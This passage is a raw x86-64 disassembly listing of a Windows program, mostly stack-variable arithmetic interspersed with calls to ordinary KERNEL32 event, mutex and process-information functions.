mov rcx, qword [rsp + 0x5500]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [0x14018ad18]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
lea rax, [rsp + 0x212c]
mov qword [rsp + 0x5fd8], rax
movsx eax, byte [rsp + 0x167]
movsx ecx, byte [rsp + 0x1ca]
sub eax, ecx
mov rcx, qword [rsp + 0x5e80]
mov byte [rcx], al
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x5fe0], rax
lea rax, [rsp + 0xd7c]
mov qword [0x14018c318], rax
mov rax, qword [rsp + 0x5870]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
mov qword [rsp + 0x5fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5fe8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5020]
mov qword [rcx], rax
mov r9d, 0xf0
xor r8d, r8d
lea rdx, [rsp + 0x48c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2090], eax
lea rax, [rsp + 0x3038]
mov qword [rsp + 0x5ff0], rax
mov rcx, qword [rsp + 0x53c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [0x14018c260]
movsx ecx, word [rsp + 0xd40]
add eax, ecx
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x5db8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
and eax, ecx
mov word [rsp + 0xc60], ax
lea rax, [rsp + 0x5ef8]
mov qword [rsp + 0x5ff8], rax
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [0x14018be78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x49b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e]
sub eax, ecx
mov byte [rsp + 0x64], al
mov rcx, qword [rsp + 0x4660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14018bfe8]
mov rcx, qword [rsp + 0x5388]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x58f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xd24]
movsx ecx, word [rsp + 0xd44]
sar eax, cl
mov rcx, qword [0x14018c238]
mov word [rcx], ax
movzx eax, word [rsp + 0xa80]
mov rcx, qword [0x14018bf58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3dc], ax
mov rax, qword [rsp + 0x59b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x5ad0]
mov rcx, qword [rsp + 0x5180]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4138]
mov dword [rcx], eax
lea rax, [rsp + 0x4360]
mov qword [rsp + 0x6000], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2160], eax
mov rax, qword [0x14018bfc8]
mov rcx, qword [rsp + 0x5ec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x59c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5400]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1a2], al
mov eax, dword [rsp + 0x20c8]
mov dword [rsp + 0x2164], eax
movsx eax, word [0x14018bf48]
movsx ecx, word [rsp + 0xcdc]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
lea rax, [rsp + 0xd98]
mov qword [0x14018c320], rax
lea rax, [rsp + 0x5bf8]
mov qword [rsp + 0x6008], rax
movzx eax, word [rsp + 0xcb0]
movzx ecx, word [rsp + 0x3a4]
add eax, ecx
mov rcx, qword [rsp + 0x4bd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb58]
and eax, ecx
mov rcx, qword [rsp + 0x4528]
mov word [rcx], ax
mov rax, qword [rsp + 0x48f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5f50]
sar rax, cl
mov qword [rsp + 0x3650], rax
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x40c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4368]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ef8]
mov qword [rsp + 0x6010], rax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x5348]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5c10]
mov byte [rcx], al
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8b4], ax
lea rax, [rsp + 0x4878]
mov qword [0x14018c328], rax
mov eax, dword [rsp + 0x1c2c]
mov ecx, dword [rsp + 0x1e80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4630]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3f10]
mov byte [rcx], al
lea rax, [rsp + 0xd74]
mov qword [rsp + 0x6018], rax
movzx eax, word [rsp + 0x8e4]
movzx ecx, word [rsp + 0xd4c]
or eax, ecx
mov word [rsp + 0xd60], ax
lea rax, [rsp + 0x20f0]
mov qword [rsp + 0x6020], rax
mov rax, qword [rsp + 0x5750]
movzx ecx, al
mov rax, qword [rsp + 0x3d08]
shl rax, cl
mov rcx, qword [rsp + 0x5120]
mov qword [rcx], rax
movsx eax, byte [0x14018bdc6]
movsx ecx, byte [rsp + 0x1c5]
xor eax, ecx
mov rcx, qword [rsp + 0x5f78]
mov byte [rcx], al
lea rax, [rsp + 0xdbc]
mov qword [rsp + 0x6028], rax
movzx eax, word [rsp + 0x654]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c1b0]
mov word [rcx], ax
mov rax, qword [0x14018c068]
mov rcx, qword [rsp + 0x5df8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5ce0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51a0]
mov rax, qword [rax]
mov qword [rsp + 0x6030], rax
mov rax, qword [rsp + 0x4c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x46a8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb58]
mov rcx, qword [rsp + 0x4080]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4a60]
mov word [rcx], ax
lea rax, [rsp + 0x6010]
mov qword [rsp + 0x6038], rax
mov rax, qword [rsp + 0x4b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d5]
sar eax, cl
mov byte [rsp + 0x1c2], al
lea rax, [0x14018ad48]
mov qword [rsp + 0x6040], rax
movzx eax, byte [rsp + 0x8e]
movzx ecx, byte [rsp + 0x1c4]
and eax, ecx
mov byte [rsp + 0x1b4], al
mov eax, dword [rsp + 0x2044]
mov dword [rsp + 0x2168], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x213c], eax
movsx eax, word [0x14018ad78]
mov rcx, qword [rsp + 0x4ce8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c040]
mov word [rcx], ax
movzx eax, word [rsp + 0xd10]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d28]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc34]
and eax, ecx
mov word [rsp + 0xa98], ax
lea rax, [rsp + 0x5050]
mov qword [rsp + 0x6048], rax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x43d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x56c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2040]
mov ecx, dword [rsp + 0x1d4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e48], eax
mov rax, qword [rsp + 0x5d38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
shl eax, cl
mov rcx, qword [rsp + 0x4238]
mov byte [rcx], al
mov rax, qword [rsp + 0x58c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd88]
xor eax, ecx
mov rcx, qword [rsp + 0x5a78]
mov word [rcx], ax
lea rax, [0x14018acfc]
mov qword [rsp + 0x6050], rax
lea rax, [rsp + 0x4cc8]
mov qword [0x14018c330], rax
mov rax, qword [rsp + 0x4a30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x5870]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x50e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2118]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x44b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x5c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ec0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov dword [rcx], eax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0x6060], rax
mov rax, qword [0x14018ad18]
mov rcx, qword [rsp + 0x4c60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018be88]
mov word [rcx], ax
mov rax, qword [rsp + 0x5200]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e60]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcb4], ax
lea rax, [rsp + 0x3d8]
mov qword [rsp + 0x6068], rax
mov rax, qword [rsp + 0x49a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ad8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcb8], ax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x6070], rax
mov rax, qword [0x14018bfa0]
mov ecx, dword [rsp + 0x2034]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d18]
mov rcx, qword [rsp + 0x2ef8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3760], rax
mov rax, qword [rsp + 0x5030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
xor eax, ecx
mov rcx, qword [rsp + 0x5188]
mov word [rcx], ax
movzx eax, word [rsp + 0xd7c]
movzx ecx, word [rsp + 0x9dc]
shl eax, cl
mov rcx, qword [rsp + 0x5218]
mov word [rcx], ax
lea rax, [rsp + 0x2e58]
mov qword [0x14018c338], rax
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x4698]
mov rax, qword [rax]
mov rcx, qword [0x14018be30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x46a8]
mov qword [rcx], rax
lea rax, [rsp + 0x5f10]
mov qword [rsp + 0x6080], rax
mov rax, qword [rsp + 0x4b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4728]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3ef0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
mov eax, dword [rsp + 0x2168]
mov ecx, dword [rsp + 0x20e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x202c], eax
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x5780]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x44f8], rax
lea rax, [rsp + 0x1b0c]
mov qword [rsp + 0x6088], rax
movsx eax, byte [rsp + 0x1bd]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14018c2b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4248]
movsx eax, word [rax]
movsx ecx, word [0x14018c080]
sub eax, ecx
mov rcx, qword [rsp + 0x3f18]
mov word [rcx], ax
movsx eax, word [rsp + 0x9a8]
movsx ecx, word [rsp + 0xd2c]
sar eax, cl
mov rcx, qword [rsp + 0x4248]
mov word [rcx], ax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x6090], rax
mov rax, qword [0x14018c1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e98]
mov qword [rcx], rax
lea rax, [rsp + 0x4540]
mov qword [rsp + 0x6098], rax
mov rax, qword [rsp + 0x5900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1a0]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x49e0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb48]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9b0], ax
lea rax, [rsp + 0x91c]
mov qword [0x14018c340], rax
mov rax, qword [rsp + 0x5ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4740]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4498]
mov qword [rcx], rax
movzx eax, word [rsp + 0x39c]
mov word [rsp + 0xe08], ax
mov eax, dword [rsp + 0x1cb8]
mov rcx, qword [rsp + 0x44b0]
mov qword [rsp + 0x60a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x60a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4a58]
mov dword [rcx], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60a8], rax
movsx eax, byte [rsp + 0x109]
movsx ecx, byte [rsp + 0x10c]
add eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x5698]
mov ecx, dword [rsp + 0x2074]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x44d0]
mov dword [rcx], eax
lea rax, [0x14018ad80]
mov qword [rsp + 0x60b0], rax
mov rax, qword [rsp + 0x6018]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc0]
add eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x55b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd98]
sub eax, ecx
mov word [0x14018ad04], ax
lea rax, [rsp + 0x3368]
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x4a50]
mov rcx, qword [rsp + 0x45c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2f10], rax
movsx eax, word [rsp + 0x958]
movsx ecx, word [rsp + 0x3b8]
sar eax, cl
mov rcx, qword [rsp + 0x4f58]
mov word [rcx], ax
lea rax, [0x14018c2c0]
mov qword [rsp + 0x60c0], rax
mov rax, qword [rsp + 0x5138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5b68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5820]
mov qword [rcx], rax
lea rax, [rsp + 0x10c]
mov qword [rsp + 0x60c8], rax
mov eax, dword [rsp + 0x212c]
mov ecx, dword [0x14018ad60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5a18]
mov rcx, qword [rsp + 0x46c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2b98], rax
lea rax, [rsp + 0xca8]
mov qword [0x14018c348], rax
lea rax, [rsp + 0xdc8]
mov qword [rsp + 0x60d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x60d8], rax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x6060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5988]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x46d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov dword [rsp + 0x216c], eax
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [rsp + 0x4cf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x44a8]
mov qword [rcx], rax
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x60e0], rax
mov rax, qword [rsp + 0x46c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5348]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ca], al
mov rax, qword [0x14018c098]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x37b0]
shr rax, cl
mov rcx, qword [rsp + 0x4858]
mov qword [rcx], rax
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0x60e8], rax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c208]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bf8]
mov rcx, qword [0x14018ace8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
movzx eax, word [rsp + 0x3a4]
movzx ecx, word [rsp + 0x7e0]
and eax, ecx
mov word [rsp + 0x438], ax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [0x14018c268]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5108]
mov rcx, qword [rsp + 0x2fc8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x60b8]
mov qword [rcx], rax
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x60f0], rax
movsx eax, byte [rsp + 0x1bc]
movsx ecx, byte [0x14018bdc6]
and eax, ecx
mov rcx, qword [rsp + 0x47c0]
mov byte [rcx], al
lea rax, [rsp + 0x2164]
mov qword [rsp + 0x60f8], rax
movzx eax, word [rsp + 0x8f4]
mov rcx, qword [rsp + 0x4078]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4070]
mov word [rcx], ax
lea rax, [rsp + 0x2bc8]
mov qword [0x14018c350], rax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1be]
imul eax, ecx
mov rcx, qword [rsp + 0x44e0]
mov byte [rcx], al
lea rax, [rsp + 0x1cb8]
mov qword [rsp + 0x6100], rax
mov rax, qword [rsp + 0x5fc8]
movsx eax, word [rax]
movsx ecx, word [0x14018ad44]
shl eax, cl
mov word [rsp + 0xb58], ax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x4638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
xor eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x3ec0]
mov ecx, dword [rsp + 0x1e34]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2098], eax
lea rax, [rsp + 0x5d90]
mov qword [rsp + 0x6108], rax
movsx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0x3f00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4020]
mov word [rcx], ax
lea rax, [rsp + 0xdf8]
mov qword [0x14018c358], rax
lea rax, [0x14018ace8]
mov qword [rsp + 0x6110], rax
mov rax, qword [rsp + 0x5268]
mov rcx, qword [rsp + 0x6078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5df8]
mov qword [rcx], rax
lea rax, [rsp + 0x4b98]
mov qword [rsp + 0x6118], rax
mov rax, qword [rsp + 0x5670]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5cf0]
mov qword [rsp + 0x6120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6120]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1b18], eax
lea rax, [rsp + 0x6010]
mov qword [rsp + 0x6128], rax
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0x1cb]
sub eax, ecx
mov byte [rsp + 0x1b2], al
lea rax, [rsp + 0x2128]
mov qword [rsp + 0x6130], rax
movzx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x4308]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0x5918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd84]
and eax, ecx
mov word [0x14018c170], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3c0]
and eax, ecx
mov rcx, qword [rsp + 0x5d88]
mov word [rcx], ax
movzx eax, word [rsp + 0xb78]
movzx ecx, word [0x14018acf8]
sub eax, ecx
mov word [rsp + 0x5ec], ax
mov rax, qword [rsp + 0x4830]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5f10]
sar rax, cl
mov rcx, qword [rsp + 0x46a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4990]
mov rax, qword [rax]
mov qword [rsp + 0x6138], rax
mov eax, dword [0x14018ad34]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5e30]
mov byte [rcx], al
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x55b8]
movzx eax, word [rax]
mov rcx, qword [0x14018c1b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4960]
mov word [rcx], ax
mov rax, qword [rsp + 0x4028]
mov rcx, qword [rsp + 0x4b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c068]
mov qword [rcx], rax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x5880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5da0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6110]
mov qword [rcx], rax
lea rax, [rsp + 0x3428]
mov qword [rsp + 0x6150], rax
movsx eax, byte [rsp + 0x1e0]
movsx ecx, byte [rsp + 0x1c7]
add eax, ecx
mov rcx, qword [rsp + 0x45b0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x5db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2124], eax
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0x6158], rax
mov eax, dword [rsp + 0x2130]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x6160], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6160]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x20fc], eax
mov rax, qword [rsp + 0x4cb8]
mov rax, qword [rax]
mov qword [rsp + 0x6168], rax
lea rax, [rsp + 0xc68]
mov qword [0x14018c360], rax
movsx eax, word [rsp + 0xddc]
mov rcx, qword [rsp + 0x48b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4a28]
mov word [rcx], ax
movzx eax, word [rsp + 0x478]
movzx ecx, word [rsp + 0x8f4]
sub eax, ecx
mov word [rsp + 0x3cc], ax
lea rax, [rsp + 0xdec]
mov qword [rsp + 0x6170], rax
mov rax, qword [rsp + 0x5518]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x43d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ea8]
mov qword [rcx], rax
lea rax, [0x14018ad0c]
mov qword [rsp + 0x6178], rax
movsx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0x5038]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4270]
mov byte [rcx], al
movsx eax, word [rsp + 0x9a8]
movsx ecx, word [rsp + 0xdb4]
add eax, ecx
mov rcx, qword [rsp + 0x49d8]
mov word [rcx], ax
lea rax, [0x14018bf50]
mov qword [rsp + 0x6180], rax
mov rax, qword [rsp + 0x42d8]
movzx ecx, al
mov rax, qword [rsp + 0x45c0]
shl rax, cl
mov rcx, qword [0x14018c050]
mov qword [rcx], rax
mov rax, qword [rsp + 0x41d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b18]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e40]
mov qword [rcx], rax
lea rax, [0x14018ad58]
mov qword [rsp + 0x6188], rax
mov rax, qword [rsp + 0x6080]
mov rcx, qword [rsp + 0x5230]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5e20]
mov qword [rcx], rax
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0x544]
sar eax, cl
mov word [rsp + 0xcf0], ax
mov rax, qword [rsp + 0x51c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3ed0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0x4410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ce8]
mov dword [rcx], eax
lea rax, [rsp + 0x1e0c]
mov qword [rsp + 0x6190], rax
mov rax, qword [rsp + 0x57b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19f]
add eax, ecx
mov byte [rsp + 0x1cd], al
lea rax, [rsp + 0x5740]
mov qword [0x14018c368], rax
lea rax, [rsp + 0xdac]
mov qword [rsp + 0x6198], rax
movsx eax, word [0x14018be58]
movsx ecx, word [rsp + 0xcbc]
sub eax, ecx
mov rcx, qword [rsp + 0x52e8]
mov word [rcx], ax
movzx eax, word [rsp + 0xdd0]
mov rcx, qword [rsp + 0x5218]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6090]
mov word [rcx], ax
mov rax, qword [rsp + 0x56f0]
mov rax, qword [rax]
mov qword [rsp + 0x61a0], rax
mov rax, qword [rsp + 0x2fa8]
movzx ecx, al
mov rax, qword [rsp + 0x5a60]
shr rax, cl
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x61a8], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20f0], eax
mov rax, qword [rsp + 0x4640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov word [rcx], ax
lea rax, [rsp + 0x91c]
mov qword [0x14018c370], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2160], eax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0x61b0], rax
mov rax, qword [0x14018c340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd0]
add eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x166]
cdq
mov ecx, 0x97
idiv ecx
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x1fd0]
mov ecx, dword [rsp + 0x2094]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e98], eax
movsx eax, byte [rsp + 0x1c2]
movsx ecx, byte [rsp + 0x18d]
shl eax, cl
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov eax, dword [rsp + 0x2158]
mov dword [rsp + 0x2170], eax
mov rax, qword [rsp + 0x50f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4258]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52f8]
mov qword [rcx], rax
lea rax, [rsp + 0xbb4]
